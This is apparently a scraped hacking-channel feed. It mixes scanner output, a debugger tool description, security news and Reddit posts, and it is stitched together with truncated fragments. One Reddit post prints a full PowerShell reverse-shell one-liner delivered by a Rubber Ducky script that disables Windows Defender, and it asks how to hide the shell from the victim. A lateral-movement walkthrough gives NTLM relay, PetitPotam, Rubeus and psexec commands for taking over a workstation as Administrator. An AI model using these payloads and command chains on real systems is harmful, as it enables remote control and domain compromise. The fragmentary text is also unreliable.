d] http://localhost/simplestspam/… 404
[head] http://localhost/ecommerce_modifier_example/… 404
[head] http://localhost/silverstripe-hashpath/… 404
[head] http://localhost/timeline/… 404
[head] http://localhost/silverstripe-hiddenfields/… 404
[head] http://localhost/addressable/… 404
[head] http://localhost/silverstripe-description/… 404
[+] No plugins found.
[+] Scan finished (0:00:00.058422 elapsed) StatsYou can get an up to date report on the capabilities of the scanner by running the following command

droopescan stats

Some sample output might look as follows:

Functionality available for ‘drupal’:

* Enumerate plugins (XXXX plugins.)
* Enumerate themes (XXXX themes.)
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version X.X.X-alphaXX, X.XX, X.XX.)
Functionality available for ‘joomla’:
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version XX.X, X.X.X, X.X.XX.rcX.)
Functionality available for ‘wordpress’:
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version X.X.X, X.X.X, X.X.X.)
Functionality available for ‘silverstripe’:
* Enumerate plugins (XXX plugins.)
* Enumerate themes (XX themes.)
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version X.X.XX, X.X.XX, X.X.XX.) Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Flare-Qdb : Command-line And Python Debugger For Instrumenting And Modifying Native Software

Flare-qdb is a command-line and scriptable Python-based tool for evaluating and manipulating native program state. It uses Vivisect to set a breakpoint on each queried instruction and executes Python code when hit.

flare-qdb frees the analyst to take a nonlinear approach to dynamic analysis that accommodates the questions that arise in the course of normal debugging and static analysis. flare-qdb answers these questions without requiring the analyst to manually set up an interactive debugger session and navigate the program counter to that code location.

Here are some examples of spot questions flare-qdb can answer:

* Does eax always equal this value at this point?
* What was eax equal to before this branch?
* What values will this string assume throughout this loop?
* At the first iteration of the inner loop, what base address is used?
* Is the program even going to hit this logic?
* Which code executes first?
* Does the number of loop iterations depend on the value of argv[1]?
* Can I alter the command-line arguments to avoid this condition?

flare-qdb can also be used to facilitate automated, repeatable manipulation of program execution. Here are some examples of useful applications:

* Executing a string decoder with different arguments to quickly extract all the strings used by a malware sample.
* Overriding the arguments to Sleep()to permit rapid iterative testing of a custom command and control (C2) server.
* Telling a privilege escalation tool that its integrity level is 0x1000 (MANDATORY_LOW_RID) in order to induce it to execute its exploit code.
* Repeatably automating the unpacking of a packer that jumps into one or more non-deterministic heap locations.

flare-qdb accepts multiple queries that take the form of a program counter or Vivisect expression paired with some Python text to evaluate in the flare-qdb scripting environment. Vivisect expressions can be used to specify simple constant program counter values like "0x401000", symbolic expressions like "kernel32.Sleep", and more. Vivisect expressions can also incorporate register and memory state to articulate sophisticated conditions, such as "not eax or (( edx > 3) and (poi(ebp-8) < 5))".

The command line argument format for this is:

-at

flare-qdb also supports conditional evaluation based on the truth value of a Vivisect expression:

-at-if

lare-qdb provides several builtins for convenient debugging, which are available both from the command line and as methods of its Qdbclass.

flare-qdb has been tested primarily on Windows, but works on Linux. Unfortunately, the Darwin port of Vivisect’s vtrace.Traceclass is incomplete, so flare-qdb does not support OSX.

Example Scripts

flare-qdb comes with De-DOSfuscator, which is a tool for decoding obfuscated batch files by running them. Details can be found in the De-DOSfuscator Guide or by reading the blog Cmd and Conquer: De-DOSfuscation with flare-qdb.
Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Los 11 nuevos controles de la ISO 27002:2022

https://cdn-images-1.medium.com/max/1572/0*k4BDawsT7y7R_CDw
PUBLICADO EN 24 MARZO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacker attack on Italian railway company, ransom in Bitcoin

https://external-preview.redd.it/rifg5jKRq9OR0H4DRZ4n3lZf3-DwYLF2ofvYOu78oQg.jpg?width=640&crop=smart&auto=webp&s=4d7eed7a7403812f88b23c607575efe95f553da9 submitted by /u/bitdex
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Windows 10/11 x64 Ring 0 Rootkit

Hi, a while ago I’ve created rootkit. Maybe someone can find it useful :) My goal is to soon add function that is able to hide TCP/UDP ports and IPs.

https://github.com/XaFF-XaFF/Cronos-Rootkit

submitted by /u/XaFF-XaFF
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Community Channels

Hi everybody, I have made it my goal this year to get more involved with the InfoSec comms and stop lurking so much. Does anybody have any cool discord or telegram channels they like. Or just any other general place they like hooking into the community that isn't Reddit and Twitter?

submitted by /u/cyber_patriot517
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Lapsus$: Oxford teen accused of being multi-millionaire cyber-criminal

https://external-preview.redd.it/GitBdG2utL1PgrMRTib6oO3ZFSTh3iiYLKBzprGlP_Y.jpg?width=640&crop=smart&auto=webp&s=85b6f8cc0f9cc5d44eb0c8dce66fa24bf0b0ec2a submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
U.K. Police Arrest Seven Young People in Connection With Hacking

https://external-preview.redd.it/R-cowwDa1H6UMgRbZdZoZpi3zFhc8c2vh7pOBi8KQZc.jpg?width=640&crop=smart&auto=webp&s=41f5abf98f82c74f687ca8f0b7368444f69df463 submitted by /u/afternooncrypto
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can I hide my powershell reverse shell?

Hi, recently I learned about reverse shells and I manage to successfully got both Windows and Linux reverse shells to work which got me very excited. I then went on to make my own powershell rubber ducky script that disables Windows Defender and runs the powershell reverse shell one-liner:

$client = New-Object System.Net.Sockets.TCPClient("[ip address]",port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

This works great and all but it seems like the powershell window needs to be open for the connection to stay open. Currently, the best I can do right now it minimize the powershell window but its still pretty obvious even to the normal user.

I thought of 2 possibilities:

1) Maybe there is a way to run a powershell command in the background.

2) Maybe there is a way to form another type of hidden reverse shell (?) after getting a reverse shell in the first place with the one-liner above.

I could not find any solutions for my scenario so if you guys have any ideas please state below, thanks.

Attacker machine: Manjaro Linux

Victim box: Windows 10 home

submitted by /u/Super_Tsumu
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to get someones personal data through the ip adress?

I just got scammed on ebay and i want to know who he is, so i can send him his stuff and he maybe get scared and send me my money back.

submitted by /u/TiloBoB2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Lateral Movement: WebClient Workstation Takeover

IntroductionThe article is based on @tifkin_’s idea that a workstation takeover, also known as lateral movement, is possible by abusing WebDAV shares. In Certified Pre-Owned whitepaper a technique called ESC8 was discussed. Lee hypothesized in the tweet that PetitPotam can be used in conjunction with NTLM Relay+WebDAV abuse to cause lateral movement by creating machine accounts first, and then using Resource Based Constrained Delegation to generate tickets for any user. Using PetitPotam or PrinterBug, an HTTP authentication can be coerced and relayed to LDAP(S) on domain controllers. This relay can use Resource Based Constrained Delegation abuse to compromise relayed host. We will see how in this article.Table of Content· WebDav Protocol· WebClient Service· Background· Demonstration· ConclusionAccording to Wikipedia, “WebDAV (Web Distributed Authoring and Versioning) is a set of extensions to the Hypertext Transfer Protocol (HTTP), which allows user agents to collaboratively author contents directly in an HTTP web server by providing facilities for concurrency control and namespace operations, thus allowing Web to be viewed as a writeable, collaborative medium and not just a read-only medium.”WebClient ServiceWebClient service allows users to connect to WebDav shares and write data onto the server. .NET based servers (like IIS) always use WebClient service for giving users WebDav shares’ access while other servers might not. The service is disabled/stopped by default but can be installed by referring to the guide here.Install-WindowsFeature WebDAV-Redirector –RestartOnce the webclient service has been started you can verify it manually by the commandsc query webclientOne constraint of the technique is that WebClient is not active by default. To learn how to activate it programmatically follow the link here but we won’t be showing that here. In this article, we have already set up machines with WebClient up and running.DemonstrationPetitPotam or Print Spooler use the named pipe technique to exploit but first we need to check if web client is running or not. For the compromised local system this can be checked usingsc query webclientAnd if it is in stopped state, it can be started usingsc start webclientLee Christensen observed that a query to the named pipe “DAV RPC SERVICE” can confirm this remotely as well. G0ldenGunSec created a tool in C# which is capable to query the mentioned named pipe using execute-assembly. It can be found here. On the compromised system’s terminal we can execute the binary to check webclient service’s status o[...]

___________________________
@hacking_Attack
@Hacking_Video

n any number of systems in the format:GetWebDAVStatus.exe 192.168.1.2https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh81JXmkDpvq0Va_tLrSvxD8pS2J9F0Gm2DvG2N0kqvcI9PzGNpMdB3YP-aYr12vdbdMiPeONOcyxQKRfATJHfBitsWd4uTHybq9lmlKwndDxfdqY5NX56RElFeXq3sNIv1WFj1BcOvtKFqe3aaH5BxakVB7pjK2DvLeDYZGgyH27k9Ik2ruuUKOi1ajA/s16000/1.png Another tool to check the same thing is called webclientservicescanner developed in Python by pixis which can be downloaded here. It is capable to check machines in batches by specifying CIDR or IP addresses in the following format:git clone https://github.com/Hackndo/WebclientServiceScannerhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJfa-elVkhPW8boa1jaKE4muUfspb0T7J46UPL0bVc9NCQ2OgOGVXIIwjWRoddW-KjLCiQr2QTBi3PUijcAUFx6ggRSYB9mM02-ejIfJMxOe2cIFNx_x_vNcMPVF0gZYT0qJuGmY4r0U1-KUWprDIDBPTqXc3Bg01uB0osAvyny0oPYq45f4Tl3wnRLg/s16000/2.png Crackmapexec tool in Impacket’s suite can also be used to do the same now. It is available by default in Kali too. The “-M” flag does this however, attacker needs to have one valid set of credentials (even low priv should work)crackmapexec smb 192.168.1.2 -u Harshit -p Password@1 -M webdavhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvDcMvkLClL6-7e3MQaOcH7AWOZapDE-3s4APkPHd5eJQXKi9jbZMhjjoA50Zd6Dzw1CyTW5i_85BfVM61mPJZlxttmgaja382xZLSgVDftOtVZo9FDvaIoXbHTLpbqUbtR1seZK44eANNDDuktcPsWF8dFjN77kpfW5gTLg3kFGgx4epyKzO74BzD1A/s16000/3.png Let’s set up our responder first. Responder is required to get a network name. WebClient service works in such a way that clients authenticate using the network name. Responder can help us get that and thus, without it, the attack won’t work. We need to edit the Responder.conf file and turn off HTTP and SMB server as they’d clash with our ntlmrelay server.nano /usr/share/responder/Responder.confhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0TThyD4UEa9KJr2TRnWFP_M2A1WS5T_Wqy3OeC_hdqp_668eY2O2Go2LQ3HZ0Lbo8fHfo7O7gxftESA_JiUqAh9W7vgEltFdOOO6z7VVQpsEaId7Lu-M2BPUpOe45jHqRfsK3eXm783QAPjnmHBvSd35Md0MW1EPmXwYt9dj8OW6Jv_wF5WXPehFX9w/s16000/4.png Lastly, we need to set up ntlmrelay to configure RBCD (using -delegate-access flag). Here, dc1.ignite.local is the DC whose LDAP we will be targeting.ntlmrelayx.py -t ldaps://dc1.ignite.local --delegate-access -smb2supporthttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4hnYFzQlPYDEoEIZFoTgVKGsW4RVpUTZzo3Ljt29gFsPLlbTM_XlAo_0k4oazkkYK2ZUh7YiZPio44ysl19tYbO0N4CpAWzDC3ZzO_IrGiSJJEfybjNd57ZA3IrEW_obw2_dKXb5roTNzipk_Mm_KIoGZFZ5qBAXTB7Dv-OyMLK1XkwNnEnYWLbqndA/s16000/5.png Now, we can start our responder tooresponder -I eth0https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUHJE2DrM-yCwinZDmu0lkkPdCShwPJ7BSlO5VPEXnjlrca1XTh90FdQH8GFQ6e20SUT2r5mSz49zaJjSMvDtbezRHbPLG7CULC86F1h98cidI1C7pKmHz7qHqqzPefQl1TPxVwIJtbolY9-roF2u8GhOYZgMQ0M1z_y_ahv1fi1Wx9489-2hf8n06Vg/s16000/6.png Once the responder has started you need to note the temporary network name Responder has assigned to the Kali system. This network name will be used in next few steps to conduct attack.sc query webclilenthttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzK1QAc-OARuOB0X2-dSZfcJXk1MO_VetuR69qyqX2xXnxik93XoDaB9RLUV3L9GZArV9HvQ-ryft0CCLE48mu2snz5R94cF7F3w[...]

___________________________
@hacking_Attack
@Hacking_Video

Qlan0u3KE5tiv0ba9gPgpijRs4ZTsH9bE-OcXfBayWP7S6Jzc_RgdTKTrfRoatQfh9h58MBRhrbyroOefV5Q_ybg/s16000/8.png Now that our relays have been set up, we need to force authentication to this rogue server (responder). Many of the printspooler attacks can do this. We will be using petitpotam.exe file available here. Format is:PetitPotam.exe WIN-AZGYNGYRUL1@80/raj 192.168.1.3 1https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjO7WqV_QWLSeVg4oqgWY7WEBt2dXeZ0nw7Pvx0P_FqHfWTpIZd3mJ1YmuQ3zBD1Weln2naZjQo81lyH7sWwVYcNozKPoZXQ_4r8sLnM3JkCZD8Y4fPoVWj8t1VlIhEryALxTrq27TLI337gxRAZqTdNCi9Cumt2AOAjmGdsE3qKEDv6xlsASt1jqgUA/s16000/9.png This way, the victim system reaches our NTLM relay. Responder helps us in accepting connection coming from PetitPotam as it provides us with a network name. Now, ntlmrelay accepts the authentication request, relays it to LDAPS on the DC and creates a machine account (IWGADVYY$) with delegation privileges to the machine/computer account of the system we used to conduct the attack (workstation01). Hence, the newly created machine account can now impersonate any user related to workstation01 account. (even admin!).\rubeus.exe hash /domain:ignite.local /user:IWGADVYY$ /password:']HzFe^[k5)lCH6R'https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh78oWH7hh1ihXii_o-1mB9-6_kujtGT1i98yFoFagTkKqogi4jUM1UeC80qk2VACwGn6MmygTOEpSMNh0f8fD8myDWiuEkXjjxQVnjEoj4UV44yDk3RR5JtGUeSLWzpKqhnnOUFgAyjaxDCTy2kDeaidZrqpzfsF4RIGJ_Pm8ow7jM6nAWgNXfwe4nyg/s16000/14.png Any of the obtained hash should work with Rubeus flags (/rc4, /aes128 etc). We note the AES256 hash and then generate service tickets using Rubeus. Here, we can specify any user to impersonate and the service CIFS is to be chosen.Rubeus.exe s4u /user:IWGADVYY$ /aes256:3A2DE2A575980D93A8C57710C65214AA1E55010B4C612FBE7620AE17F01EC753 /impersonateuser:Administrator /msdsspn:host/workstation01.ignite.local /altservice:cifs /nowrap /ptthttps://blogger.googleusercontent.com/img/b/R29vZ[...]

___________________________
@hacking_Attack
@Hacking_Video

2xl/AVvXsEjGfwndUAbrm-dBAFLpCflvTuulCuCRwRXXWUTLL9NQYBcAWVlnoN-gPApai2jTK-wkuCrUZAhyUr3mL4H2Ft4dKpe12_VQT2l68BoGtjMqti--VbpjL_t18923CUWBn4Jnj3Lhka9AA2GB0nXIm3SzLGy7h6oKFZog_m9Io433V-FjfUkkhIVrj-VuQA/s16000/15.png The same thing can be done remotely using getST.py script. Refer our article here to read more. As you would be able to see TGT request was successful and three service tickets would now be generated. First ticket is machine account’s own ticket. Second ticket is Administrator account’s ticket and the third one is a CIFS ticket which is shown below. This can be viewed using klist command.echo "base64 value" | base64 -d > ticket.kirbi ticket.kirbi admin.ccachehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_2-DkHPAwc7qcuA91QA0H-2aP7wFy1GyGgG6Zojz-FT7VGzI9waJZzYRp9ds163jzc9dm9YrTnxZe9ms3_U3qCGoNfdNa49Cn8eV3_Zb36CO6YPVzr2Q9wyr65fk1DvEbzNu5Egly9Lp2WycCmh5i7DcO3wJfwvqUmktHt1ew5uhBcNkcoARrN3-gcg/s16000/17.png Finally, we can use psexec to logon to impersonated account (Administrator) on workstation01python3 psexec.py -k -no-pass ignite.local/Administrator@workstation01.ignite.localhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3reHtTTHu2xOtyCAnUFRCbNd_jGY88QOzbMxTcM22SMlpqjT1yZmyu_-swqRZZclJDxDNb2H9wntVRSENElAAbMESu0uH7IcJWezDa_IbSfueBy0kr7GFD0i2dwxMaSVlYGu68xSkL10oXdPd1r9K19XxgZ69U0KcCwjoYndUZBKfmJbmOMtW1ZDUOw/s16000/18.png ConclusionIn the article we shed some light on abusing webdav shares and then moving laterally on a domain to compromise more computers. This was done by first creating a new machine account and giving delegation access (using PetitPotam) and then that account was used to impersonate other users.___________________________
@hacking_Attack
@Hacking_Video

FRUSTRATED FROM BUG HUNTING WHEN YOU CAN’T FIND BUG

HELLO READERS ,Continue reading on Medium »
Read more...